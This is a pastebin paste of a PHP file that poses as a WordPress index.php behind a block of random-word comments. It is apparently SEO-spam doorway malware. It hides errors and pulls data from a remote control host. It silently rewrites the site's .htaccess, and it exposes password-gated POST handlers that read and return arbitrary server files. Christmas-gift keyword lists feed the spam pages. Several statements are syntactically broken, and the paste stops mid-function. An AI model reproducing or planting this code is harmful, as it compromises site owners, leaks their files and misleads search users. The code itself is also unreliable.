pastebin

Paste Search Dynamic
Recent pastes
index.php
  1. <?php
  2.  
  3. /**
  4.  * navigation prescribe remote usage vivid wonder.
  5.  * community dispose encounter estimate excess flash glorious illusion interpretation subsequent theme.
  6.  * Internet academy arise cancel ceremony explode obscure optimistic prosperity scale sensible skim splendid split undertake videotape.
  7.  * gasoline navigation prosperity significance.
  8.  * aware continual equivalent glimpse via.
  9.  * architect catalog domestic fax focus frown mist navigation optimistic simplify triumph volume weed.
  10.  * burden discount elaborate evolve forbid garbage glory insignificant label oral parade particularly portion precaution preserve shield sophisticated stripe vibrate.
  11.  * code geometry glimpse presumably rescue resume submit suspicion the tide.
  12.  * alcohol barrel conquer consistent exceed explosive hook leisure male moisture parade portable principle removal sensitive simplicity spill undergraduate vanish.
  13.  * acid authority continual decent deserve import medium mild modest motive passport radical satellite semester shallow shield tendency undertake.
  14.  * awkward bother commit device duration exterior favorite idle ingredient mature participate removal suspicion textile vehicle.
  15.  * derive elastic enclose extent jewel leisure.
  16.  * architecture battery bureau decade domestic insure invade maintain noticeable rely reputation tendency video withdraw.
  17.  * approach architect commit compete garbage giant haste herd hydrogen issue onion opponent particle slope subt tense vary weld.
  18.  * consume identify prosperity render reputation satellite subt vivid xploit.
  19.  * arbitrary arichmetic cliff derive dumb equation estimate explosion gallon joint likelihood medium nucleus primitive shrug stable strategic tide violence volume.
  20.  * agency clue community dumb evil interpret lean manufacture optimistic rescue temple tension.
  21.  * continual generate insure moral terminal tide volcano weed.
  22.  * acquire device exaggerate excursion facility highlight hollow interpret loosen medium network obscure optics profit prompt removal shrink sorrow target title tremble.
  23.  * adhere applicable arise catalog decade dispose enclose exclusive explosion faulty favorable gesture notify personnel promote shuttle sketch slender submit suspicious tissue trap undergo variable withstand.
  24.  * available breed code deaf dusk earthquake expense insignificant mist nucleus prohibit prospect recruit religious ridid scan slide.
  25.  * ban breadth burden domestic drip generate guarantee minimum presumably regulate simplify treaty undertake.
  26.  * absolute architecture exclude outset transform.
  27.  * accomplish acid legislation portable reluctant restrict shiver sponsor vivid.
  28.  * appropriate budget entertainment external geography geology identify nuclear release significance triangle vibrate.
  29.  * acquire automatic comparative expand frown humble infect jail obstacle recruit retail skim spot stripe tremendous vote weed xploit.
  30.  * appeal appoint ceremony decline descend deserve merchant retail sensible transform whereas.
  31.  * collision distress favorite holy joint liquor modest pat satellite seminar sketch slide venture videotape.
  32.  * attach beforehand cargo code decade duration golf guarantee horror laser legislation liter optics personal portable prominent quotation resolve splendid split universal witness.
  33.  * appropriate descend glory infinite laser oral tense.
  34.  * bundle excess gene signature urge video virtual wealthy.
  35.  * appreciate aware comment dive domestic forbid hardware jungle petrol suspicious theme title utilise violence vivid.
  36.  * acknowledge architecture genius grant inhabitant knot racial security utilise.
  37.  * code disturb drip genuine hook insignificant negative neglect reveal scan secure sorrow transport tuition yawn.
  38.  * brake clue comparable conquer decline dispose essential exceedingly expand expenditure faculty medium onion prior removal secure slender slip substance variable.
  39.  * advertisement bachelor conquer exclusive index scan.
  40.  * alcohol comedy enviroment release removal scandal.
  41.  * adequate durable encounter entertainment mainland obscure onion personal petroleum temple waist weed.
  42.  * automatic enclose liquor submit territory terror tone vocabulary.
  43.  * adhere balcony biology defect discount display equivalent explore extreme media opponent software substantial.
  44.  * advertise distinguish equivalent outstanding retain sequence venture virtual.
  45.  * agent continual decade elaborate explosion faculty germ horror import launch mainland negative oral outstanding tedious undergo undergraduate vocabulary.
  46.  * applause approach appropriate available boundary brake defect device dive dusk enclose integrate leather mission motivate oral organ pants peak precaution presumably provision shield transform vanish.
  47.  * applicant aware barrier cope core descend expend gene liberty shiver splendid substitute tremendous waist yield.
  48.  * awkward career collision essential exclusive stable temporary triangle universal.
  49.  * advertise apparent clue dump exclusive jail modify parade professional prominent shift submerge trace trend universe.
  50.  * episode focus geology naked restrain submit ultimate urgent.
  51.  * alcohol applicable entertainment enthusiasm household import ingredient mainland nylon provision religion revenue sexual snap undertake universe version video witness.
  52.  * approximate deposit derive expand gallery minimum nuclear numerrous prominent quotation render scan security temptation voluntary wagon.
  53.  * attach bachelor episode individual loose negative nylon promote revenue sexual slope suspicion transport triumph ultimate yawn.
  54.  * battery boundary calendar delicate domestic female globe infer lest loose pat security spur weld.
  55.  * calculate hostile pursue temple theme.
  56.  * blast capture coarse defect disturb exceedingly geology herd male mutual recreation relevant remote shelter sincere sophisticated torture wealthy xploit zone.
  57.  * dispose impose pat terror.
  58.  *
  59.  * @package WordPress
  60.  */
  61.  
  62.  
  63.  
  64. @ini_set('display_errors', 0);
  65. @ini_set('log_errors', 0);
  66. define("DOMTXT","/jd1/");
  67. define("GETDATE","http://www.datecenter.com/api/?key=");
  68. define("CENTERKEY",1);
  69. define("MYDIR", "/amabestit20200117-7/");
  70. define("FNUM",97);
  71. define("JGNUM","40");
  72. define("LINKNUM","8");
  73. define("BZSITE","k");
  74. define("BZPRO","s");
  75. define("BZCAT","d");
  76. //msbg
  77. define("JDT","0");
  78. //msend
  79.  
  80. //msidbg
  81. define("MSID",2516);
  82. //mssidend
  83.  
  84.  
  85. //keyjgbg
  86.  
  87. define("KEYJG",35);
  88.  
  89. //keyjgend
  90.  
  91. //pnamelenbg
  92.  
  93. define("PNAMELEN",46);
  94.  
  95. //pnamelenend
  96.  
  97. //jthouzuibg
  98. define("JTHZ","/");
  99. //jthouzuiend
  100.  
  101.  
  102. // #llqllq#arr_nametimebg
  103.  
  104. $arrnametime[]="1";
  105. $arrnametime[]="3";
  106. $arrnametime[]="2";
  107. $arrnametime[]="4";
  108.  
  109.  
  110. // #llqllq#arr_nametimeend
  111.  
  112. // #llqllq#arr_wordbg
  113.  
  114. $arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[0][] ="3";$arr_word[0][] ="2";$arr_word[0][] ="2";$arr_word[0][] ="2";$arr_word[1][] ="3";$arr_word[1][] ="3";$arr_word[1][] ="2";$arr_word[1][] ="2";$arr_word[1][] ="2";$arr_word[1][] ="4";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="2";$arr_word[2][] ="3";$arr_word[2][] ="2";$arr_word[2][] ="3";$arr_word[2][] ="2";$arr_word[2][] ="3";$arr_word[2][] ="4";$arr_word[2][] ="4";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="4";$arr_word[4][] ="3";$arr_word[4][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[4][] ="4";$arr_word[4][] ="2";$arr_word[4][] ="2";$arr_word[4][] ="4";$arr_word[5][] ="3";$arr_word[5][] ="4";$arr_word[5][] ="4";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="2";$arr_word[5][] ="4";$arr_word[5][] ="3";$arr_word[5][] ="2";$arr_word[5][] ="2";$arr_word[6][] ="3";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[6][] ="2";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[6][] ="4";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[6][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="4";$arr_word[7][] ="3";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="2";$arr_word[8][] ="4";$arr_word[8][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="4";$arr_word[8][] ="3";$arr_word[8][] ="4";$arr_word[8][] ="2";$arr_word[8][] ="2";$arr_word[9][] ="3";$arr_word[9][] ="4";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[9][] ="4";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[9][] ="3";$arr_word[9][] ="2";$arr_word[9][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="4";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="2";$arr_word[10][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="4";$arr_word[11][] ="2";$arr_word[11][] ="3";$arr_word[11][] ="3";$arr_word[11][] ="2";$arr_word[11][] ="4";$arr_word[11][] ="2";$arr_word[11][] ="3";$arr_word[11][] ="3";$arr_word[11][] ="4";$arr_word[11][] ="4";
  115.  
  116. // #llqllq#arr_wordend
  117.  
  118.  
  119. // #llqllq#arr_keywz
  120.  
  121. $arrKeywz[]="12";
  122. $arrKeywz[]="11";
  123. $arrKeywz[]="8";
  124. $arrKeywz[]="5";
  125. $arrKeywz[]="9";
  126. $arrKeywz[]="4";
  127. $arrKeywz[]="10";
  128. $arrKeywz[]="6";
  129. $arrKeywz[]="7";
  130.  
  131.  
  132. // #llqllq#arr_keywzend
  133.  
  134.  
  135. // #llqllq#arrBreadbg
  136.  
  137. $arrBread[]="bread_crumb row";
  138. $arrBread[]="";
  139. $arrBread[]="";
  140. $arrBread[]="qa-breadcrumb";
  141. $arrBread[]="bread_crumb";
  142. $arrBread[]="l-breadcrumblist";
  143. $arrBread[]="l-breadcrumb";
  144. $arrBread[]="breadcrumbs clearfix";
  145. $arrBread[]="BreadcrumbHead row";
  146. $arrBread[]="nw-breadcrumblist row";
  147. $arrBread[]="";
  148. $arrBread[]="BreadcrumbHead";
  149. $arrBread[]="qa-breadcrumb row";
  150. $arrBread[]="mb-breadcrumb";
  151. $arrBread[]="BreadcrumbsHead clearfix";
  152. $arrBread[]="wrapper-breadcrums";
  153. $arrBread[]="BreadcrumbsHead row";
  154. $arrBread[]="BreadcrumbsList";
  155. $arrBread[]="r-breadcrumb row";
  156. $arrBread[]="breadcrumbs-base clearfix";
  157. $arrBread[]="ag-breadcrumblist";
  158. $arrBread[]="ck-breadcrumb row";
  159. $arrBread[]="plp__breadcrumb clearfix";
  160. $arrBread[]="breadcrumb row";
  161. $arrBread[]="Breadcrumbs clearfix";
  162. $arrBread[]="breadcrumb";
  163. $arrBread[]="l-breadcrumblist clearfix";
  164. $arrBread[]="qa-breadcrumb clearfix";
  165. $arrBread[]="BreadcrumbList row";
  166. $arrBread[]="l-breadcrumb clearfix";
  167. $arrBread[]="Breadcrumb row";
  168. $arrBread[]="r-breadcrumb";
  169. $arrBread[]="ag-breadcrumblist row";
  170. $arrBread[]="breadcrumb clearfix";
  171. $arrBread[]="Breadcrumbs";
  172. $arrBread[]="ck-breadcrumb";
  173. $arrBread[]="mb-breadcrumb clearfix";
  174. $arrBread[]="plp__breadcrumb row";
  175. $arrBread[]="BreadcrumbHead clearfix";
  176. $arrBread[]="r-breadcrumb clearfix";
  177. $arrBread[]="BreadcrumbList clearfix";
  178. $arrBread[]="bread_crumb clearfix";
  179. $arrBread[]="";
  180. $arrBread[]="";
  181. $arrBread[]="BreadcrumbsList row";
  182. $arrBread[]="breadcrumbs row";
  183. $arrBread[]="nw-breadcrumblist clearfix";
  184. $arrBread[]="ck-breadcrumb clearfix";
  185. $arrBread[]="";
  186. $arrBread[]="BreadcrumbList";
  187. $arrBread[]="mb-breadcrumb row";
  188. $arrBread[]="l-breadcrumb row";
  189. $arrBread[]="Breadcrumbs row";
  190. $arrBread[]="";
  191. $arrBread[]="";
  192. $arrBread[]="nw-breadcrumblist";
  193. $arrBread[]="plp__breadcrumb";
  194. $arrBread[]="";
  195. $arrBread[]="Breadcrumb clearfix";
  196. $arrBread[]="breadcrumbs";
  197. $arrBread[]="wrapper-breadcrums clearfix";
  198. $arrBread[]="wrapper-breadcrums row";
  199. $arrBread[]="Breadcrumb";
  200. $arrBread[]="l-breadcrumblist row";
  201. $arrBread[]="";
  202. $arrBread[]="BreadcrumbsHead";
  203. $arrBread[]="BreadcrumbsList clearfix";
  204. $arrBread[]="";
  205. $arrBread[]="ag-breadcrumblist clearfix";
  206. $arrBread[]="breadcrumbs-base";
  207. $arrBread[]="breadcrumbs-base row";
  208.  
  209.  
  210. // #llqllq#arrBreadend
  211.  
  212.  
  213.  
  214.  
  215. // #llqllq#arr_fuhao
  216.  
  217. $arrfh[]="Christmas gift store";
  218. $arrfh[]="Best Christmas gifts 2018";
  219. $arrfh[]="Xmas";
  220. $arrfh[]="best Christmas gift";
  221. $arrfh[]="Christmas gift shop";
  222. $arrfh[]="Christmas presents";
  223. $arrfh[]="Christmas Gifts 2018";
  224. $arrfh[]="for Christmas";
  225. $arrfh[]="Xmas Ornaments";
  226. $arrfh[]="Christmas gift";
  227. $arrfh[]="Holiday Gifts";
  228. $arrfh[]="Christmas Decoration";
  229. $arrfh[]="Christmas Holiday";
  230. $arrfh[]="Unique Christmas Gifts";
  231. $arrfh[]="Holiday presents";
  232. $arrfh[]="Christmas Supplies";
  233. $arrfh[]="Christmas gift ideas";
  234. $arrfh[]="Top Christmas gifts 2018";
  235. $arrfh[]="Christmas gift ideas 2018";
  236. $arrfh[]="Christmas Ornament";
  237.  
  238.  
  239. // #llqllq#arr_fuhaoend
  240.  
  241.  
  242. $q1 = "O00O0O"$q2 = "O0O000"$q3 = "O0OO00"$q4 = "OO0O00"$q5 = "OO0000"$q6 = "O00OO0"$q7 = "O00O00"$q8 = "O00OOO"$$q1 = RandAbcs();
  243.  
  244.  
  245.  
  246. // #llqllq#randkeybg
  247. $strRand[0]="ixywlgdosucmqbjkrhtnfzaepv";
  248. $strRand[1]="xkcwzrfautqvjmgibelhospdny";
  249. $strRand[2]="xbsmpjfkaqyzinvucerhgdtlwo";
  250. $strRand[3]="ujtmolgihpckseqndwafybvxrz";
  251. $strRand[4]="slrkuwiqxpzbnjevyghdacomft";
  252. $strRand[5]="hugnqyvbtfklejsrwpzdxcaiom";
  253. $strRand[6]="wstumvfnhogdckarzyxlipqejb";
  254. $strRand[7]="uvfbkinpqorxsmljgeytcdzhwa";
  255. $strRand[8]="jsdrpfhzvlinxekbgcyqauotwm";
  256. $strRand[9]="rkwpbjmeinxlhuyzdavgftqcos";
  257. $strRand[10]="iuthcpsvxmdrynkfgbowzqajel";
  258. $strRand[11]="ovkpietnwambjqyzsfgulhcdxr";
  259. $strRand[12]="bnaxgmiepvwzordljqshctufky";
  260. $strRand[13]="wtadihcykoqgsrbvfznuxpeljm";
  261. $strRand[14]="tkyhjgvebcipnoxuqlawsmzrdf";
  262. $strRand[15]="jdbscfyzvhanrqxgeikptmwlou";
  263. $strRand[16]="pxtlhqmvufnewcbyrdgkizajso";
  264. $strRand[17]="xuqklzgscrvimjfnoabywedpht";
  265. $strRand[18]="lawmkbnophevrdtqsfcjiyxzug";
  266. $strRand[19]="yqkzojaifgrlvctbeuwnmhxdps";
  267. $strRand[20]="aueyptkhonlvfbrwjcqsmzixdg";
  268. $strRand[21]="maxbglruydnzfewisvcjhpoqkt";
  269. $strRand[22]="kdqvrfiewhpxoljcgmsuzytanb";
  270. $strRand[23]="fluozwbdcjexkyprishaqmvtng";
  271. $strRand[24]="aopmzjethnvrbwkyslcugfqxid";
  272. $strRand[25]="njtruclypemazvgsiwkbhfqdox";
  273. $strRand[26]="dpzkmiqgchlafxnoyrutvesjbw";
  274. $strRand[27]="igjnvzubhscdyfxlqetkmowpar";
  275. $strRand[28]="mocqgyshepjwixtlafknurvdzb";
  276. $strRand[29]="nerzdqvxwmpjsgliotcabuhfyk";
  277. $strRand[30]="ctfnsyldphuaorzgvekxjqbwim";
  278. $strRand[31]="yvbhepitdmqxwnlcrsaugzkjof";
  279. $strRand[32]="xeowflvnztugcamjikphdbyrqs";
  280. $strRand[33]="jwagiushznpdykbetvmcxqlfro";
  281. $strRand[34]="awizeqymxuvdksoncjbfhrpltg";
  282. $strRand[35]="rwfydemlugzvkabjqpsxocnith";
  283. $strRand[36]="gxwvhepaqldymtnofrjkuzbsci";
  284. $strRand[37]="ypmgtsjcabkuxrodifzewnlqvh";
  285. $strRand[38]="jayoxgucztinmslhdwevbqfkrp";
  286. $strRand[39]="thirbyxgfzaldwjupeqcmnksov";
  287. $strRand[40]="ewnhzdvjogkiucrflxaspmtyqb";
  288. $strRand[41]="mbuosnrizcvwafkhyedgqtplxj";
  289. $strRand[42]="okdgswhniztpmcjeraufbvxylq";
  290. $strRand[43]="qpscdhybvjgkwrloumxfenaizt";
  291. $strRand[44]="tokpglencmiabfzhudqrsvxyjw";
  292. $strRand[45]="preosyzwucamdiljkgfhqnbxtv";
  293. $strRand[46]="ldcpvubywoxanhzqrejtimgkfs";
  294. $strRand[47]="rfisdhxopmtybunvzlkqcwajge";
  295. $strRand[48]="qxghnzsfkvretlujmoiwcpadyb";
  296. $strRand[49]="wcbkfurtpxdvyighanmoszlejq";
  297. $strRand[50]="dwaifrbnptvsmoqujychlzgkex";
  298. $strRand[51]="fpmuzbchtlgveraisnxdjkyowq";
  299. $strRand[52]="zufpxwlaycvegoknhmbsirtjqd";
  300. $strRand[53]="ovqdgfhcpwyrmlkaixeutjbnzs";
  301. $strRand[54]="syfudznmqjphclvtrxwkbaiego";
  302. $strRand[55]="yxzjikpasdvmfgorhnwbetuqcl";
  303. $strRand[56]="iwxspnaekdfjguzqmtrlhocvby";
  304. $strRand[57]="raulwzoitfkbmcvnsjphgdyqex";
  305. $strRand[58]="ogfljqbcvwikrpxemdhysazutn";
  306. $strRand[59]="mwkptdajcrnbseyguqfihoxzvl";
  307. $strRand[60]="upiveoljaybmtrqxhgdkzsnwcf";
  308. $strRand[61]="znojekyblrtqucxgvfasmwpihd";
  309. $strRand[62]="mwxurcgtyloavhqenifzkbjdsp";
  310. $strRand[63]="rguipctekafsmlowvnjzqdyhxb";
  311. $strRand[64]="qovrumjdfhpnbzkwstacyxelig";
  312. $strRand[65]="zqptaiwgcvmhdlyerjoxunbfks";
  313. $strRand[66]="pbiszeqrmcfxtvagkwdhjyunlo";
  314. $strRand[67]="icyfzwhranbdsgvxplqokumtje";
  315. $strRand[68]="jftndmobewzpvsarghxkyciluq";
  316. $strRand[69]="rlqmodawgtsyhveupbiknzcfxj";
  317. $strRand[70]="zfkqxbayhdnmjsptcrugoveiwl";
  318. $strRand[71]="vcepogzqjfdrxsakmwbtnyiluh";
  319. $strRand[72]="gjqkpymdwozfevbcialxrstuhn";
  320. $strRand[73]="asmzponjuvefihtlrqckygdxbw";
  321. $strRand[74]="ehncmaplortiyxjwzdfgksqubv";
  322. $strRand[75]="vhrziujelwpxmgbskynqfctaod";
  323. $strRand[76]="wrndzpigbxcmyoskjfqluvhate";
  324. $strRand[77]="jehtanyvrbzdimxfcwgsopqkul";
  325. $strRand[78]="mkxgfisrozlnpwvejchubqtdya";
  326. $strRand[79]="ebrviqatumwykcndofxhgspzlj";
  327. $strRand[80]="jlgancfkitdezbqsoywhuvmpxr";
  328. $strRand[81]="xzqytvlhabgefkdorcipnmsjwu";
  329. $strRand[82]="xcuhzrnwtpfyqsgjveaiodlbmk";
  330. $strRand[83]="vwexopbgamytjckiqnuhldfzrs";
  331. $strRand[84]="jlrxphbacwzudityknmoqsgfev";
  332. $strRand[85]="nxsjpgyokhzwamrbvetlifuqdc";
  333. $strRand[86]="lknyfquorstijdcpaxvgzmhewb";
  334. $strRand[87]="auboygptrcxkhqjdeswmnfzvil";
  335. $strRand[88]="yvkwmfuiztcgelqdobpsnhaxjr";
  336. $strRand[89]="nejamspvfhcxwbkgorziqdlytu";
  337. $strRand[90]="bihapsvgxjekdwynrcofzmtulq";
  338. $strRand[91]="wtdaquxorkilzbvjymhcsnefgp";
  339. $strRand[92]="uphqoibvjxawygrtldfsmeknzc";
  340. $strRand[93]="ogrcykvupdatqwnebsixlzmjhf";
  341. $strRand[94]="kbjvwtqychzsanoifrpdgxmlue";
  342. $strRand[95]="vkgpxfusrebjiqwmnoldhcatyz";
  343. $strRand[96]="wkxmhfgbistynlczujoepdraqv";
  344. $strRand[97]="xushdfkpwtyloqcgzjravnbeim";
  345. $strRand[98]="atjyemzcfbdoghqwvusxirplkn";
  346. $strRand[99]="wtypgdnmleboqzfvhsjkircaux";
  347.  
  348. // #llqllq#randkeyend
  349.  
  350.  
  351.  
  352. $thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']);
  353. define("GETDOM",getthisdom());
  354.                
  355.  
  356.  
  357.  
  358. //
  359.        
  360.        
  361.        
  362. $arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
  363.    $arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};}
  364. $Arrrarr = array_flip($arrArrr);
  365. $stss = 'transferdm';
  366. $stss2 = 'deliverym';
  367.  
  368.  
  369.  
  370. if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){
  371.        
  372.         $O_OO0_0O_0='America/Chicago';  @date_default_timezone_set($O_OO0_0O_0);       
  373.         if (! is_dir("../web_map"))
  374.                 mkdir("../web_map", 0755);     
  375.         global $gnumber;
  376.         $gnumber = 1;
  377.         $bgNum = (int)trim($_GET["gsitemap"]);
  378.         $mapnum = (int)trim($_GET["mapnum"]);
  379.         if($bgNum > FNUM)
  380.            die("The Number Must Lower Then " . FNUM);
  381.    
  382.         $arrNumTemp = getMapNum($bgNum,$mapnum);
  383.        
  384.         $rs = '#<map>(.*)</map>#si';
  385.         $mapLogs = file_get_contents("./map.log");
  386.        
  387.         foreach($arrNumTemp as $vss){
  388.                
  389.                 $vals = "id$vss.php";          
  390.                 if(strstr($mapLogs,'#webmap' . $arrABC[$gnumber-1] .'.xml#') && file_exists('../web_map/webmap' . $arrABC[$gnumber-1] .'.xml')){
  391.                         echo $vals."<br/>";
  392.                         echo '../web_map/webmap' . $arrABC[$gnumber-1] .'.xml successed<br/>';
  393.                         $gnumber++;
  394.                         continue;       
  395.                 }
  396.                
  397.                 for($i=0; $i<3; $i++){
  398.                         $idUrl =  GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID;
  399.                         $tempIdStr = curl_get_from_webpage($idUrl,'',5);
  400.                         $arrIdNameNow = array();
  401.                         if(preg_match($rs,$tempIdStr,$matchIdName)){
  402.                                 $tparrIdName = explode('^^',$matchIdName[1]);
  403.                                 foreach($tparrIdName as $vs){
  404.                                         $tpArr = explode('^',$vs);
  405.                                         if(count($tpArr) == 2){
  406.                                                 $arrIdNameNow[$tpArr[0]] = $tpArr[1];
  407.                                         }elseif(count($tpArr) > 2){
  408.                                                 $tpstr = '';
  409.                                                 for($j=1; $j<count($tpArr); $j++){
  410.                                                         $tpstr .= $tpArr[$j] . ' ';
  411.                                                 }
  412.                                                 $tpstr = trim($tpstr);
  413.                                                 $arrIdNameNow[$tpArr[0]] = $tpstr;
  414.                                         }
  415.                                 }
  416.                                
  417.                                 break;
  418.                         }
  419.                 }
  420.                
  421.                
  422.        
  423.                 if(!isset($arrIdNameNow) or count($arrIdNameNow) < 100){
  424.                         echo "g sitemap fail<br/>";
  425.                         die();
  426.                 }
  427.                
  428.                 echo $vals."<br/>";
  429.        
  430.                 if($gnumber == 1){
  431.                         if(JDT == 1){
  432.                                 gsitemap($arrIdNameNow,2,1);                    }else{
  433.                                 gsitemap($arrIdNameNow,1,2);                    }
  434.                 }else{
  435.                        
  436.                         if(JDT == 1){
  437.                                 gsitemap2($arrIdNameNow,2,1);                   }else{
  438.                                 gsitemap2($arrIdNameNow,1,2);                   }
  439.                        
  440.                 }
  441.                
  442.                 unset($arrIdNameNow,$tempArr1,$tempArr2);       }
  443.        
  444. }
  445.  
  446.  
  447. if(isset($_GET["ghtac"]) && $_GET["ghtac"]){
  448.  
  449.         $dirNames = dirname(__file__);    
  450.         $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)))
  451.         $PreDir = '';   
  452.         if(JDT == 1){
  453.                 $UrlBaseDir = $httcReplace;             $RewriteOnDir = '';     
  454.         }else{
  455.                 $UrlBaseDir = '';               $PreDir = '../';                $RewriteOnDir = $httcReplace . '/';     
  456.         }
  457.         $strhtt = '';
  458.         if (file_exists("$PreDir.htaccess")){
  459.                 @chmod("$PreDir.htaccess",0755);
  460.                 $strhtt = file_get_contents("$PreDir.htaccess");       
  461.         }
  462.         if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
  463.         {
  464.                 $strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>'
  465.         }else{
  466.                 $strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
  467.                 $strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt)
  468.         }
  469.                
  470.         if(1){
  471.                
  472.                        
  473.                 $r1 = '#(.*RewriteBase.*)#i';           $r2 = '#RewriteRule#i';        
  474.  
  475.  
  476.  
  477.  
  478.                 if(JDT == 0){
  479.                        
  480.                        
  481.                         $rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*[-]'.'(\d+)/(.*)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. '(.*)'.'-'. BZCAT . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL  ;
  482.                
  483.                         $rsut2 = PHP_EOL . 'RewriteRule ^'. '.*[-]'.'(\d+)/(.*)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. '(.*)'.'-'. BZCAT . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL  .'RewriteRule' ;       
  484.                
  485.                        
  486.                 }else{
  487.                        
  488.                        
  489.                         $rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*[-]'.'(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. '(.*)'.'-'. BZCAT .JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL  ;
  490.                
  491.                         $rsut2 = PHP_EOL . 'RewriteRule ^'. '.*[-]'.'(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. '(.*)'.'-'. BZCAT . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL  .'RewriteRule' ;   
  492.                
  493.                        
  494.                 }
  495.  
  496.                
  497.                
  498.                 if(preg_match($r1,$strhtt)){
  499.                         $strhtt = preg_replace($r1,$rsut,$strhtt,1);           
  500.                 }else{
  501.                         $strhtt = preg_replace($r2,$rsut2,$strhtt,1);
  502.                 }
  503.                
  504.                 if(JDT == 1 or JDT == 0){
  505.                         file_put_contents("$PreDir.htaccess", $strhtt);        
  506.                 }
  507.                
  508.         }
  509.  
  510.         die("ghtac ok");
  511. }
  512.  
  513.  
  514. if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo rFile($redate_file);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#';        die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$fileArr = array();$flag = 1;$fileArr['index'] = filesize(__file__);if(file_exists("./moban.html")){$fileArr['moban'] = filesize("./moban.html");}else{$flag = 0;$fileArr['moban'] = -1;}echo 'error---'. serialize($fileArr) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();}
  515.        
  516. if(JDT==2){
  517.        
  518.         $UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI'])))if($UrlParent){
  519.                 $tempSid = '';          $tempPid = '';         
  520.                                
  521.                 $r2='#-(\d+)'. JTHZ .'$#i';             $r3='#[-/]' .'(\d+)[-/]$#i';           
  522.                 if(preg_match($r2,$UrlParent,$matches2)){
  523.                         if(isset($matches2[1]))
  524.                                 $tempPid = $matches2[1];                }else{
  525.                        
  526.                         preg_match($r3,$UrlParent,$matches13);                  if(isset($matches13[1]))
  527.                                 $tempPid = $matches13[1];               }
  528.                
  529.                        
  530.                 if($tempPid){
  531.                         $_GET['id']= $tempPid;         
  532.                 }
  533.         }
  534.        
  535. }elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
  536.                
  537.                 $tempSid = '';          $tempPid = '';          $UrlParent = $_GET['keyword'];         
  538.  
  539.                 $r2='#-(\d+)$#i';               $r3='#[-/]'.'(\d+)$#i'
  540.                 if(preg_match($r2,$UrlParent,$matches2)){
  541.                         if(isset($matches2[1]))
  542.                                 $tempPid = $matches2[1];                }else{
  543.                        
  544.                         preg_match($r3,$UrlParent,$matches13);                  if(isset($matches13[1]))
